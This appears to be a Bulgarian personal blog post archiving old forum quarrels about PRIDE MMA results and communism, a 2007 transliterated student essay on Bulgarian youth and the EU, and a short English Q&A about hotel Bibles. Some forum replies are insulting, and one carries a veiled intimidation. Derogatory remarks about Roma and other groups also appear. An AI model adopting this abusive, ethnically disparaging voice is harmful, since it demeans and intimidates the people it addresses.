3R 2'8" IPPON (SUBMISSION) - Armbar
Kiyoshi
Tamura Nobuhiko
Takada
2R 1'0" IPPON (KO) - Punching
Hidehiko
Yoshida Don
Frye
1R 5'32" IPPON (SUBMISSION) - Armbar
Wanderlei
Silva Hiromitsu
Kanehara
1R 3'40" TKO - Forfeit
Antonio Rodrigo
Nogueira Semmy
Schilt
1R 6'36" IPPON (SUBMISSION) - Choke
Fedor
Emelianenko Heath
Herring
1R 10'0" TKO - Doctor Stoppage
Ricardo
Arona Murilo
Rua
3R 5'0" Decision
Kevin
Randleman Kenichi
Yamamoto
3R 1'16" TKO - Referee Stoppage
Hirotaka
Yokoi Jerrel
Venetiaan
2R 3'29" IPPON (SUBMISSION) - Armbar
3 ЯПОНСКИ ПОБЕДИ !!! Както и една на японец срещу японец.
ПРАЙД 24
2 японски победи над японци.
ПРАЙД 25
1 японска победа + още една над японец.
ПРАЙД 26
2 японски победи!
ПРАЙД 27
2 японски победи!
ПРАЙД 28
_______
ПРАЙД 29
2 японски победи
ПРАЙД 30
2 японски победи
ХАЙДЕ СЕГА МИ КАЖИ - защо си подбрал СТАР ПЕРИОД САМО С 3 японски победи, а не си видял НОВИЯ, където имаме: 12!!!
Т.е. РЕШИЛ СИ ДА ПОДВЕДЕШ НАРОДА 4 ПЪТИ!
Подличко е, не мислиш ли?
_________
... но това си е твой проблем. Разбирам те, че ти е по-удобно така - да те баннат, а после да се изживееш като жертва и да викаш - "Ама аз бях прав, ама те не ми дадоха думата". Много стар трик! Ако наистина ти пука да докажеш правотата си - въздържай си нервите и, ако не можеш да пишеш културно, карай някой да ти пише вместо теб.
Не си ме уважавал. Ами, че аз не искам да бъда уважван от човек, който прокламира секс с животни и не ми е на нивото даже на йота, представи си. Така че чувствата ни са взаимни. Няма да се притесняваш.
Ти ме нареждаш, а аз съм ревял?:) Ти си бил много весел и забавен в заблужденията си. Ще се учудиш, след като някой ден, в пристъп на гняв някой от приятелите ти каже истната, че точно ти си този, но си си го приписал на мене. Да не ги мислиш за толкова отвеяни?
За вербалното малтретиране - що не ми пишеш на ЛИЧНИТЕ, за да си поговорим вербално и да видим кой ще изпищи пръв? Доколкото си спомням ти ревна и писна, изскимтя и зацвили само след няколко мои по-пиперливи изречения. Казах ти, че ако някой е прост не може да стане умен, но, ако някой е умен може да се принизи и да изпоростее даже повече и от най-простия, т. е. аз мога да стана по-добруджански и по-скелетчов и от тебе. Ако не си съгласен - опитай се, ама после ще почнеш като Берсека да постваш "лични съобщения".
В момента сме избрали да говорим културно, ако искаш некултурно - на лични. Там хем ще има разбиване с факти, хем ще те накарам да те е страх като спиш нощем. :)
За оригиналността - как ли пък няма да се силя да съм оригинален за тебе? Ти си готов само с 2-3 прости похватчета от пропедевтика на риториката, ве, малчо!
Не заслужаваш повече.
А иначе, че съм писал "Аз не съм, ти си", то е само и защото е ВЯРНО. За истината са достатъчни и 2 думи, когато са правдиви. А и декодирането при тебе е по-трудничко, та се налага да снижаваме малко понятийния апарат откъм използването, ама нали се разбираме, ужким, нямаш проблеми.
Не ти било интересно... ами не пиши, бе, синко! И без това защитаваш изгубена кауза. Японците толкова много победи имат за няколко години ти си взел да изсмукваш от пръстите си изключения, като забравяш, че по който и да е критерий другите нации пак ще гризнат дървото!
Лъжи? Така ти се струва, понеже ти лъжеш.
ДАННИТЕ СА ОТ САЙТА НА ПРАЙДА! ЗНАЕШ ЛИ ГО?
Отново ти казвам, че това не е любимият ти ..., a e ...
Хората пишат и вадят статистики, ама няма Добруджански необходимия минимум да прочете. Аз съм гледал вика. Гледал си, ама не си видял!!!
...
ЗАПОМНИ!
(Понеже този турнир вече не съществува, а и сайтовете може да са променени или да ги няма, не намирам за нужно да поствам излишни линкове, та предадох дебатирането от изминалите години безлинково. :))
-
Както съм писал и преди, доста домашни работи, курсови работи дори съм писал или помагал да напишат. Някои си плащаха поне символично, други бяха на принципа "Е, нали сме приятели..." Ето някакво такова упражнение, от 2007-ма година, писано за Елизабет, която малко обичах по онова време (да не се бърка с по-малката Елизабет, която много обичах по-късно, но която не ми отвърна със същото, но пък се разсърди, че съм си хванал приятелка, след като тя доста време ми даваше да разбера, че между нас не може да има каквото и да било в любовта).
____________
Samoto navlizane na Evropeyskata ideya v Bulgaria zavari masovoto syznanie nepodgotveno, koeto, v svoqta konkretnost na mladejko syznanie, vyzprie Evropeizma kato ne6to razli4no ot tova, koeto e v svoq sotsialno-politi4eski, kulturen i istori4eski aspekt. Pyrvo poradi golemiq protsent na niska politi4eska i, spetsialno, vynshno-politi4eska kultura, mladejite smqtaha, 4e tova protivostoi na Bulgariq ne samo sotsialno-politi4eski, ikonomi4eski i kulturno, no DAJE istori4eski i DORI geografski. Kato reaktsiya na tova mladejsko, a i NE SAMO mladejko, naivno vyzpriemane na Evropeizma i konkretnata mu materializatsia - EC - se yaviha BANALNITE (za po-prosvetenite) povtarqniq, 4e : "Bulgaria E v Evropa. Bulgaria VINAGI e bila 4ast ot Evropa. Bulgarskata kultura E Evropeiska takava. Bulgariq istori4eski e edna ot pyrvite strani v Evropa. Bylgarinyt e dal mnogo za Evropa i pr."
Dnes, sled vlizaneto na RB (Republika Bulgaria) v EC, ne6tata stoyat malko po-razli4no. Sledva6tata, a, moje bi i o6te tazi mlada generatsiq, 6te zapo4ne da vyzpriema EC i sebe si kato 4ast ot edno i sy6to tsqlo. I tova 6te stane nesymneno, poneje ve4e se e slu4valo prez perioda na "NRB (Narodna Republika Bulgaria) - CCCP" (kogato po4ti vsi4ki detsa i mladeji se smqtaha za 4ast ot sotsialisti4eskiq lager, koeto si be6e ne6to nay-estestveno i dadeno, nepodleja6to na nikakva alternativa), a DNES, v usloviqta na GLOBALIZATSIYA i izto4nitsi na informatsiya kato Internet, tova 6te stane o6te po-byrzo. Po otno6enie na ka4estvoto, oba4e, moje da ima nqkoi razliki. Dokato predi razlikata mejdu grada i seloto v NRB ne sa bili tolkova zabelejitelni, tyi-kato vsqko selo, osnovno, razpolaga6e s materialna baza za u4ili6te, radiopredavane, televiziya, biblioteka i dori rabote6to kino, to dnes, tezi ne6ta 4esto sa otdavna nedostypni tam, a Internet se byrka s Robocop ili prosto ne budi nikakvi asotsatsii. Ako razlikata mejdu grada i seloto ne byde preodolqna, zna4itelna 4ast ot mladejta, bituva6ta v poslednoto, ne bi se integrirala uspeshno v novite realii - fact, koyto ne mojem da opredelim tsennostno kato dobyr ili lo6, ako ne izhojdame ot totalitarni paradigmi, 4e EC ZADYLJITELNO ima polojitelna tsennost, svetlo byde6te i e bezalternativen. Istori4eski ne samo na6iq narod (bylgarskiq) ima lo6i spomeni ot takiva "bezalternativni, nay-verni i pravilni linii v politikata" - dostaty4no e da spomenem samo Hitler i Stalin, ostanaloto 6te si doyde ot samo sebe si.:)
A sega neka razgledame punktualno ne6tata, sledvayki predvaritelno-zadadeniq plan na nay-sladurkoto Slyn4itse v jivota mi - Elizabet4eto :):)))))))):
"1.brijit (12:30 AM) :
ob6to vzeto za otno6enieto na bylg. mladej kym evropeiskite strani"
Otno6enieto na bylgarskata mladej kym Evr. strani v nikakyv sluchai ne moje da byde predstaveno kato monolitno i invariantno.Prosto bylgarskata mladej se systoi ot dosta razli4ni sloeve ot individi, kato v tova otno6enie, moje bi, po-neednorodna i razsloena e samo mladej ot tipa na Severno-Amerikanskata (USA, CANADA).
Za nikogo ne e tayna, 4e ponqkoga razlikata mejdu dvama du6i ot edna i sy6ta generatsiya moje da e po-golqma otkolkoto tazi mejdu drugi dvama, ot razli4ni generatsii.
Pri4inata za tova e imenno razsloenieto, porodeno ot MORALNO-KUTLURNO-POLITI4ESKIQ VACUUM, koyto rajda osnovno HAOS. Ot tozi haos, uspe6no se rajdat nay-razli4ni kategorii mladeji, koito mogat da se narekat s dumata "MLADEJ" samo po otno6enie na PASSPORTNATA si vyzrast. Kakvo imame predvid?
a/ Mnogo razli4ni kategorii, ne samo protivore4ivi edni na drugi, no i 4esto otkrito vrajduva6ti pomejdu si:
-metalisti
-raperi .......... (razdelenie spored predpo4itan stil muzika)
-skinari (ultranatsionalisti)
-nihilisti
-demokrati
-etni4eski-orientirani (marginali)......(razdelenie spored politi4eski i sotsialni ubejdeniq)
Mojem da izbroqvame o6te mnogo. Protivopostavqne se zabelqzva daje na nqkoi paradoxalni ot nqkoi vyn6ni gledni to4ki niva kato:
Otli4nitsi (zubyri) - Neotli4nitsi ("normalni")
Moralni - Nemoralni / "Zadrysteni - Otvoreni", na nqkoi vidove mladejki jargon/
Bedni - Bogati
I PR. , I PR. , I PR.
Tezi kategorii, ponqkoga se naslagvat v edna otdelna li4nost, da re4em: Bogat Rapyr, prezira6t "zubrite", koyto deyno se protivopostavq na bedniya otli4nik - nihilist, kakto i na skinara-tsesekar...
b/ Mladejta e daje nenednorodna po otno6enie na vyn6niq vid. I ne, nqmame predvid samo modata, koqto pravi horata da izglejdat edin kato otsveten kloun, a drug kato izkypan v uli4niya konteyner pes, a za samata BIOLOGICHNA VYZRAST, koqto v BG e silno - pod4ertana poradi silnoto prisystvie na narkotitsi, alkohol i tyutyunopu6ene. Estestveno e nqkoy drogar na 17 godini, koyto za "meze" i pu6i kato komin, da izglejda na 37, dokato drug 17 godi6en, qdq6t redovno yogurt4eta i viree6t na 4ist vyzduh da si izglejda na 16-17 god.
SLEDOVATELNO - pri edna takava neednorodna mladej nqma kak da imame ednorodno otnoshenie kym Evropeyskite strani. Ako za nqkoy evrotsentrik te sa "4ere6kata na tortata" i "vyrha na sladoleda", za nqkoy natsionalist i ultranatsionalist, tova sa prosto lo6i strani, zaema6ti mqsto v predstavite ot : "Typi kopeleta, ama bogati,da gi eb@!" do "Tezi jalki varvari VSI4KO sa otkradnali ot nas. Bylgarite sa nay-drevniq narod na sveta, proizliza6t ot Trakiq/Aziq/Atlantida/Kosmosa...i daje ezika sme im syzdali - Holidei si idva ot Koleda, a angliyskoto "I" (Ai) si e inversiya na shopskoto "Ya"!"
Otdelna tema e, 4e samite Evropeyski dyrjavi sa si vse oshte dosta razli4ni i nqma kak otno6enieto kym Gyrtsia da syvpada s tova kym Ungariq ili Frantsiya.
"2. brijit (12:30 AM) :
integraciq"
Tq e ne6toto, koeto zavisi ne samo ot linie usiliq i jelanie na dadeniq mladej, no i ot psiho-kulturniq fon, merkite i vyzmojnostite, koito syzdava samata dyrjava. Ne moje da se integrira nqkoy pylen s jelanie i volq da u4i angliyski, ako nqma puknat lev da si plati daje edin on-line urok. Ne moje da se integrira i onzi, koyto, vypreki i da e v privilegirovano polojenie - primerno sin/6terka na dyrjavnik, ne jelae da se sotsializira kato evropeets. (Ne, 4e e zadyljitelno lo6o tova, kakto kazahme). S edna duma - integratsiyata zavisi pone na 3 osnovni niva : individualno, dyrjavno i mejdudyrjavno. (S poslednoto iskame da kajem, 4e zavisi dokyde 6te pozvolqt KLYU4OVITE DYRJAVI NA EC da se integrira BG.)
3. "brijit (12:30 AM) :
rabota"
Stanaloto naposledyk v Zapadna Evropa ni ubejdava samo v edno - 4e pravitelstvata tam, tseleyki da bydat s dobyr imidj, na vsqka tsena 6te se pogrijat pyrvo za sobstveniq si narod, a edva sled tova, 6te predlagat vyzmojnosti za rabota na bylgari/rumyntsi (v tqhnoto syznanie razlikata e to4no nikakva). Izklyu4eniq, pone v taka ustanovenata konyunktura, biha bili iztyknati geniy4eta, koito 6te popadnat tam, v ka4estvoto si na "izsmukani mozytsi". Za ostanalite - pri dobyr "kysmet" - ne mnogo dobra rabota na sme6no za Zapada zapla6tane.
4. "brijit (12:31 AM) :
emigraciq"
Tova e ne6to, stanalo traditsiya za Bylgaria, osobenoot 1989 nasam. Priemaneto na BG v EC, samo raz6iri vyzmojnostite za tova (ostava6ti si vse o6te FORMALNI, predvid goreupomenatite trudnosti za rabota i nisyk protsent na zadovoleni pari4no hora, no, vse pak VYZMOJNOSTI). Vyzmojno e "krivata" na emigrantite rqzko da se promeni, za6toto neizbejno 6te varira, no tendentsiyata za obezlyudyavane na BG otkym bylgarski grajdani, veroqtno 6te se zapazi. Da go nare4em, nay-prosto, instinkt za samosyhranenie. Syvsem estestveno e ot mqsto, kydeto nqma6 pari i sigurnost, da se pridviji6 kym mesta, kydeto 6te ima6 pari i sigurnost (a, za po-izdignatite hora, s po-golemi potrebnosti i pove4e kultura, da re4em).
5. brijit (12:31 AM) :
cennosti
Tsennostite se izgrajdat na nqkolko niva - semeystvo, priyatelska sreda, u4iteli (+u4eben material), televiziya, kino, Internet...Kato izklyu4im poslednite dve, koito predlagat otnositelno golqma svoboda na izbora, ostanalite sa sravnitelno-predzadadeni i donqkyde, ednotipni. Masovata propaganda na Evropotsntrizym, Evropeyska bezalternativnost i pr. sa PRIORITETNI za TELEVIZIYATA, U4EBNIYA MATERIAL, RADIOSTANTSIITE i , 4esto, spored zavisi, v semeystvoto i priqtelite, koito, ako i da ne sa s takiva tsennosti, pod vliyanie na TV, RADIO, VESTNITSI i pr. MOJE i da stanat na svoy red propagandatori i RETRANSLATORI na osnovnite "evro-kli6eta".
DORI i da predpolajim, 4e sam daden mladej moje da se izqvi kato inovator, syzdavayki NOVI evro-tsennosti, trudno e da se dopusne, 4e te 6te "hvanat diki6" v BG, a, o6te po-malko v Evropa.
6. "brijit (12:31 AM) :
mislene
Misleneto, razbira se, e prodiktuvano do golqma stepen ot emotsionalno-tsennostniya fon. A, kakto vijdame, ima silna i tselenaso4ena tendentsiya toy da byde predzadaden. S tova, moje da se prognozira, bydeto vse po-uspe6no unifitsirane na misleneto, napodobqva6to masovo promivane na syznanieto, koeto nqma da e ne6to novo v istoriqta na 4ove4estvoto. Milioni sa vqrvali, 4e Hristiyanskata paradigma ili Islqmskata e bezalternativna i finalna; o6te pove4e vqrvaha v uspeha na Leninzma...V edin moment, razbira se, moje da se poqvqt disidenti, svoego roda revolyutsioneri ili kontra-revolyutsioneri, koito da napravqt ili da se opitat da napravqt prevrat ili, pone reforma v statukvoto. Tova, oba4e, stava vse po-slojno v tehnologiziranata era, kydeto kontrolyt e zavi6en i skoro moje da se postignat niva doblijava6i se po efektivnost na tezi, izobrazeni vyv filosofiyata na "MATRITSATA"
7."brijit (12:31 AM) :
nato i eu"
NATO I EC sa si edno izkonno protivore4ie, koeto moje da stane antagoni4no pri opredeleni obstoyatelstva. Vse po-4esto se promenq tsentrobejnata sila i de facto dori konflikti ot tipa na Iraqskiq i Iranskiq ne mogat napylno da solidalizirat stranite 4lenki na NATO, a kamo li da se postigne nqkakva ka4estvena srabotenost na absolyutno nivo NATO - EU. A protivore4ieto NATO - OOH e o6te po-golqmo i, vyzmojno, fatalno. Mladejta v BG tselenaso4eno se vyzpitava v duha na NATOVIZMA. Tsqlo 4udo e, 4e i do sega vyv voennite u4ili6ta v BG mogat da se sre6tnat kursanti, koito da sa skepti4ni po otno6enie na NATO. Mojem da o4akvame, 4e byde6tite pokoleniq, izrastnali pod sqnkata na amerikanski voenni bazi na rodnata si teritoriq i "obly4eni" s propaganda, vse po-rqdko 6te izly4vat ot reditsite si hora, koito da se usymnqvat v NATO-ideyata. V interes na istinata, oba4e, kakto be6e kazal edin izqven politolog : "NATO nqma alternativa za Bylgariq...Russia? Da, ama ya vijte kakvo stana s Yugoslaviya, koito raz4itaha na Russia!!" Otdelen e vyprosyt, 4e vlizayki v NATO, BG se spasqva ne ot druga opasnost, a ot samoto NATO.
8. "brijit (12:31 AM) :
urbanizaciq"
( S TSEL DA NE NAPI6A NQKOQ GLUPOST, OSTAVQM TOVA SAMO NA TEB, SYKROVI6TE, PONEJE ZNAM, 4E SI DOSTA PO-OSVEDOMENA OT MEN...az se se6tam samo za obezlyudqvaneto po selata...no dokolko tova spomaga za urbanizatsiyata?...ti 6te kaje6...)
9.brijit (12:32 AM) :
ikonomika
Makroikonomi4eskoto stabilizirane na BG e fakt, koyto, oba4e e nali4en o6te predi vlizaneto v EC. Spored nqkoi experti BG ikonomika 6te se sblyska s mnogo trudnosti, koito samo dopylnitelno 6te napravqt mladejta negativna ili skepti4na, v nqkoi svoi klonove sprqmo EC.
Samiti ikonomi4eski pokazateli na EC ne sa mnogo vpe4atlqva6ti. Tova sa tolkova mnogo dyrjavi, golqma 4ast ot koito se vodqt svetovni lideri v ikonomikata, no eto kakvo kazva statistikata:
Bruten Vytre6en produkt:
2 United States $ 12,980,000,000,000 2006 est.
3 European Union $ 12,820,000,000,000 2006 est.
4 China $ 10,000,000,000,000 2006 est.
5 Japan $ 4,220,000,000,000 2006 est
EC proizvejda po-malko stoki i uslugi ot USA, malko pove4e ot Kitay, i BVP-to im se ravnqva na tova na 3 Qponii...
Kakyv e sredniyat standart, t. nar. PER CAPITA (koeto se osporva ot mnogo ikonomisti, no vse pak se polzva kato nqkakyv pokazatel za standart) v EC?
European Union $ 29,400 2006 est
T.e. sredno, v EU se jivee po-bedno, otkolkoto v Singapur, Avstraliya, Yaponiya, Kanada, Hongkong, Ekvatorialna Gvineya i Obedinenite Arabski Emirstva. (Vis4ko e po danni na sayta na CIA - "TSE - RE - U").
10. demokraciq
(TUKA SHTE BYDA MNOGO RQZYK I OSTAVQM NA TEB, KATO 4OVEK, DETO PO-SI VLADEE NERVITE )... Razbira se, bih napisal kakvo mislq, ako re6i6. Lesno e. Kato izklyu4im urbanizatsiyata, vsi4ko be6e mnogo lesno. :)
---
Да не се спирам поточково на всичко; ясно е, че от преди толкова време може да има някои неща, които от днешна гледна точка, да подлежат на доуточняване, корекции и т. н. Сега нямам това време. Вбъдеще, ако стигна до това, може да поразгледам тези неща. Дотогава, ако някой въобще чете тук тези неща и има нещо да каже, да добави, да критикува - да се чувства поканен/поканена да го направи и аз веднага ще се включа да прочета, да обясня, да поговорим.
-
Тук нещо е ставало дума (през 2007 г.) за хотелите, религиозните книги... припействам, да не се губи.
"Is it true that European hotels offer Bible in their rooms?"
No. Some countries in Europe as Turkey (partly in Europe) and Albania are not Christian countries. Also other Christian countries have no Bibles in every hotel.
(This was long time ago. Now I am not sure. Anyway, I don't think it's the most important. Science and knowledge are the things that people lack of.)
"What if the guest doesn't believe in?"
May be the guest will just don't use it. Every day we are looking at so many books, but we do not read every book. Bible is for people who believe in the Jewish-Roman stories.
(True. There are much more important and really useful books to read.)
"Is it just a over consideration of some Chinese so-called experts? Or it is good that Chinese hotels should make Bible a must for catering overseas tourist?"
According to the Chinese law, Chinese people posses the freedom to BELIEVE or DO NOT BELIEVE. So, the foreigners can believe or do not believe.
I think, they have to provide NOT ONLY Christian, but also:
-Islamic
-Buddhist and other religion books. Communist books as well! Because I don't think that Jesus Christ is more important than Buddha, Mohamed or Karl Marx, Friedrich Engels and Vladimir Lenin.
(Isn't it? When it comes to history everybody is important. Of course, when we're talking about the science and the knowledge, it's another story.)
-
И пак някаква част, от някакъв спор онлайн, запазена през 2006. Прилагам тук, защото всичко се трие и компютърът скоро заминава за продажба на старо, че не ми се мъкне на хиляди километри.
"ПО КАКВО РАЗСЪЖДАВАШ? ПО НАУЧНИЯТ КОМУНИЗЪМ ЛИ РАЗСЪЖДАВАШ, ИЛИ ПО КАКВО."
Разсъждавам НАУЧНО ти казах, на тебе ти е МНОГО УДОБНО да ме пуснеш в някаква рамка (комунист, фашист, защо не и евреин), за да се бориш с рамката, а не с КОНКРЕТНИЯ ЧОВЕК, но не минава номерът.
Казах ти в прав текст - разсъждавам научно. Няма 2-3!
"АМИ КАТО ГЛЕДАМ ВНИМАТЕЛНО СНИМКИТЕ НА СЕВЕРНА КОРЕЯ, НЕЩО ЗАБЕЛЯЗВАМ МНОГО СЛАБ ТРАФИК ТОВА СПОРЕД ТЕБ НА КАКВО СЕ ДЪЛЖИ БРЕ, СИГУРНО НА ИКОНОМИИ В ИКОМОМИКАТА А А А ИЛИ БЪРКАМ."
Пак се отклони - ставаше въпрос, че показах снимки, за да се види, че това е една развита страна. Трафикът бил слаб, ами в България като е силен, да не сте цъфнали и вързали? И ЩО ИМ Е СЛАБ ТРАФИКЪТ? Да не би да е заради ЕМБАРГОТО НА САЩ, а, а, а?
Колко пъти да ти се обясни, че СА ПОД ЕМБАРГО? БГ колко би изкарала под ембарго? А КУБА И С. КОРЕЯ, карат ДЪЛГО! ЩО? Ами, защото комунизмът е ЖИЛАВ.
" МОЛЯ ТИ СЕ! АМА ТОЧНО ПЪК КОИ МИ ДАВАШ ЗА ПРИМЕР, МАСОНИ 100% И МИ ГИ ПРОБУТВАШ ЗА НЯКАКВИ СИ ДЕСНИ ПОЛИТИЦИ. О О О БОЖЕ ТОИ НЕ ЗНАЕ КАКВО ГОВОРИ."
ЕЙ, ВИЖ КАКВО, НЕ МЕ ИНТЕРЕСУВА МАСОНИ, ФАСОНИ ИЛИ ДЪРДОНКИ. Сравняваме СОЦИАЛИСТИ и НЕСОЦИАЛИСТИ. Не ми е проблем, че сред вас, несоциалистите имате НАЙ-РАЗЛИЧНИ ФРАКЦИЙКИ, от типа на МАСОНИ. ДЕМОКРАЦИЯТА ГИ ТЪРПИ, ЩО НЕ ДОЙДАТ МАСОНИТЕ ДА УПРАВЛЯВАТ В КИТАЙ или С. КОРЕЯ? ЩОТО ЩЕ ИМ ИГРАЕ КУНГ-ФУТО И ТКД-то по врата и ще ги ... ТАКА, ЧЕ - КАПИТАЛИСТИЧЕСКО-ФЕОДАЛНИТЕ ЯВЛЕНИЯ КАТО МАСОНСТВОТО СА МИ ПРЕЗ... И, ЗА ДА НЕ ОСТАНА "ГОЛ", ЩЕ ТИ ПОСОЧА ДРУГИ ДЕТО ЖИВЕЯТ БЛАЖЕНО - ЯПОНСКИТЕ ПОЛИТИЦИ И ИМПЕРАТОРСКИЯ ИМ ДВОР - ха сега де, ХЕМ НЕ СА МАСОНИ, ХЕМ НЕ СА СОЦИАЛИСТИ!
" 5. Комунизмът НЕ ГО ЗНАЕШ, ПОНЕЖЕ НЕ СИ ГО ЖИВЯЛ. "
Първо не бях татарин и нямах нищо общо с Ламаизма, сега пък не съм живял през комунизма...Тц-тц-тц, абе толкова ли инфантилен ти се струвам, бе, друже?! Хайде да ти кажа, че съм на 30 години, пък да мирнеш. Сети се колко време съм живял по социалистическо.
Дотук само ще прокоментирам, че Северна Корея и Куба, все пак, не са под тотално ембарго, та до голяма степен, благодарение на страни като Русия и Китай, просъществуваха.
А аз отдавна не съм почитател на де факто монархическата Северна Корея и на религиите (вкл. ламаизма). Вече съм строго научно и обективно ориентиран. Гледам и с политика да не се занимавам, освен ако не съм крайно притиснат от обстоятелствата, както се случи сега с рефеодализирането и реимператоризирането, де факто, на Китай.
"КОМУНИЗЪМ, НАЙ-ЗЛЕ СЕ ЧУВСТВАХ, ПОСТОЯННО БЯХ ПОДТИСНАТ, ПОСТОЯННО БЯХ В НЕВЕДЕНИЕ ЗА УТРЕШНИЯТ ДЕН"
Ха-ха-ха!!! Ами сега като НАТО ТЕ ПОЛЗА ДА ИМ ДАВАШ ВОЙНИЧЕТА, ЗА ДА СЕ ТРЕПЯТ С АРАБИТЕ, ЗАРАДИ НЕФТЕНИТЕ ИНТЕРЕСИ НА САЩ или КАТО ТИ ТРЯПАТ МАНГАСАРЛЪЦИТЕ ДЕВОЙЧЕТАТА, МНОГО ЛИ НЕПОДТИСНАТ СЕ ЧУВСТВАШ?
Неведение за утрешния ден? Е ДА, СЕГА ИМА ВИДЕНИЯ - ВИЖДА СЕ, ЧЕ УТРЕ МОЖЕ БГ ДА Я НЯМА. ЗА ТОВА СИ ПРАВ, СЕГА Е МНОГО ПО-ОЧЕВИДНО. АХА.
След развитието на рашизма и агресията срещу независими държави - Грузия, Украйна особено, Молдова, по един или друг начин, НАТО започна да ми се вижда не толкова излишно и даже се радвам че го има.
Обидните термини не са срещу всички роми, а само срещу тези, които се занимават с насилие и престъпност. По същия начин по който не съм против обикновените руснаци, а против рашистите и техните зверства.
" ТАКА ЧЕ НЕДЕИ ДА ПРИКАЗВАШ ЗА СВЕТЛИНА, ЗАЩОТО ВАШАТА ТЪМНА СВЕТЛИНА НАЙ-ДОБРЕ ОСВЕТЯВА НА СЪЩИТЕ ТЕЗИ ГОСПОДАРЧЕТА ПЪТЯТ ИМ, ЧЕ НЕ ДАВАТ НА СВЕТА ДА СЕ СЪВЗЕМЕ ОТ ЕДНО БЕДСТВИЕ, А ГО НАТИКВАТ В ДРУГО БЕДСТВИЕ, СИРЕЧ СВЕТОВНАТА ДИКАТАТУРА, ОГЛАВЯВАНА ОТ 'БОГОПОМАЗАНИКЪТ" ХА ПОЗНАИ ОКЕЯНЕ ОТ МЪДРОСТ, КОИ Е ТОИ."
Това ми звучи като литературните опити на Маркс, изпълнени с много екстаз, само че си обърнал знака.
"А ТИ ДА НЕ БИ ДА СИ ГО ЖИВЯЛ СЛУЧАИНО, ЗАЩОТО ПО НАЧИНЪТ ПО КОИТО СЕ ИЗКАВАШ! ЧОВЕК ОСТАВА С ВПЕЧАТЛЕНИЕТО ЧЕ ОТ ТАКАВА ДЪРЖАВА ИДВАШ. бРЕ ДА ТЕ ПИТАМ? ТИ СЛУЧАИНО ДА НЕ СИ С ДРЪПНАТИ ОЧИ СЕВЕРНО КОРЕЕЦ ЧЕ ДА ГИ ЗАЩИТАВАШ ТАКА ЯРОСТНО."
Ами малко съм дръпнат, според генетически изследвания татарите имат 12% монголоидност. И да, живея в социалистическа държава. Приятно е.
(По онова време - да. Вече няма почти нищо социалистическо, а е почти противоположно - феодализирано и императоризирано. Наскоро един китаец казал, че както е тръгнало може да забранят и "Интернационал"а (песента)... ами при такава ксенофобизация, феодализация и императоризация, шегата му е много логична.)
" Е ТО ЧОВЕК САМО С ЯДЕНЕ ЛИ ЖИВЕЕ, НЯМАЛИ ДУХОВНИ ПОТРЕБНОСТИ, ИЛИ КАКВО, И ТВОЕТО ЯДЕНЕ ГО ЗНАЕМ, НАЛИ И СЕГА ГО ЯДЕМ! ЧЕРНОБИЛСКО, ПЕРЛАТА НА КОМУНИЗМА В УКРАЙНА, КЪДЕТО ИЗТРОВИ ТОЛКОВА НАРОД."
СЕРИОЗНО?!?!?! АМИ НЕ ЗНАМ В КИТАЙ ДА ИМА РАДИАЦИЯ, ТИ ДА НЕ СИ СЕ ОБЪРКАЛ С ОБЕДНЕНИЯ УРАН, ДЕТО АМЕРИКАНЧЕТАТА ВИ ПУСНАХА В БЛИЗОСТ ДО ГРАНИЦАТА?
За духовното - КАЗАХ АЗ, АМА НЕ СИ ПРОЧЕЛ. И НЕ, ЧЕ ГО ПРНЕБРЕГВАМ, ПРОСТО СЛЕДВАМ ПИРАМИДАТА НА ПСИХОЛОГА МАСЛОУ - ПЪРВО ДА СИ НАХРАНЕН, А ПОСЛЕ ОСТАНАЛОТО, ЩОТО ИНАЧЕ МОЖЕ И ДА НЕ СТИГНЕШ ДО НЕГО. И КАТО ГОВОРИМ ЗА НЕГО - В БГ да не би да е достъпно?????? КОЛКО СТРУВА ЕДНА КНИГА? ЕДИН БИЛЕТ ЗА ТЕАТЪР? КОЛКО Е ТОВА КАТО % ОТ СРЕДНАТА РАБОТНА ЗАПЛАТА? Помисли!
(Едно от нещата, които наистина много разочароваха от НАТО по онова време. Но, при днешните условия, добре че има НАТО. По-добре демократичните държави (повечето са такива, които са в НАТО), отколкото откровени неомонархични агресивни външно и вътрешно образувания като рашистка Русия!)
"ТА СЕГА БЕРЕМ ПЛОДОВЕТЕ НА ТОВА БЕЗПЛАТНО ОБРАЗОВАНИЕ И МЕДЕЦИНА, СЪС ЗДРАВНИ КАСИ И РЕД КОМУНИСТИЧЕСКО СОЦИАЛНИ БЕЗМИСЛИЦИ."
КЛИШЕ! ВСИЧКО, КОЕТО Е БИЛО ДОБРЕ, СЕ ИЗКАРВА ЗЛЕ, ЗА ДА НЕ МОГАТ ХОРАТА ДА ГО ПОСОЧВАТ ЗА ПРИМЕР.
" КАКВА БЕШЕ КУЛТУРАТА, ЗА ОВЧАРЧЕТО КАЛИТКО, И ТЕРОРИСТИЧНИ ЛАПЕТИИ, КЪДЕТО СТРЕЛЯТ И УБИВАТ ПРЕДСТАВЕТЕЛИ НА ЗАКОННА ВЛАСТ В ЦАРСТВО БЪЛГАРИЯ, ТОВА ЛИ БЕШЕ КУЛТУРАТА."
АМИ СЕГА КАТО СЕ ГЪРМЯТ И ВЗРИВЯВАТ, БЕ? ПО НАЙ-АНАРХИЧЕН НАЧИН. ПРЕДИ ПАРТИЯТА Е ОТСТРЕЛВАЛА ПО НЯКОЙ, А СЕГА ВСЕКИ СТРЕЛЯ ПО ВСЕКИ. И ЗА КУЛТУРАТА - ами да, по-добре беше, можеше ли някой да ти пее за "п@тки", за "на майка ти в устата" и пр.?! НАЛИ ВЕДНАГА ЩЕ ГО ВКАРАТ В БЕЛЕНЕ, БЕЕЕЕ!!!! ТИ СИ ОТ ТЕЗИ АНТИКОМУНИСТ, ДЕТО НЕ ВИЖДА В МОМЕНТА КАКВИ Л@ЙНА ГАЗИТЕ, АКО СИ ИСТИНСКИ ФЕН НА "АТАКА", ЩЕ СИ ПРОТИВ ТЕЗИ ЯВЛЕНИЯ, А НЯМА ДА ГИ ТОЛЕРИРАШ!
(По-сетне се запознах и с повече история, наистина комунистите имат дори масови убийства като черно петно в историята си, та не ги подкрепям в това отношение. Аз подкрепям мирния социализъм, от фабиански тип - безкръвен, плавен.)
"И НЕ МИ ГОВОРИ ЗА ЧАЛГИ, ЗАЩОТО ТОГАВА БЕШЕ ПО ЛОШО, СЛУША ШЕ СЕ ОМРАЗНА СРЪБСКА МУЗИКА, АЛА ЛЕПА БРЕНА, И ТЕМ ПОДОБНИ ШУМАДИЙСКИ СВИНЩИНИ."
А СЕГА???? СРЪБСКО+ГРЪЦКО+ЦИГАНСКО+НЕГЪРСКО!!! ХАХАХАХА!!!
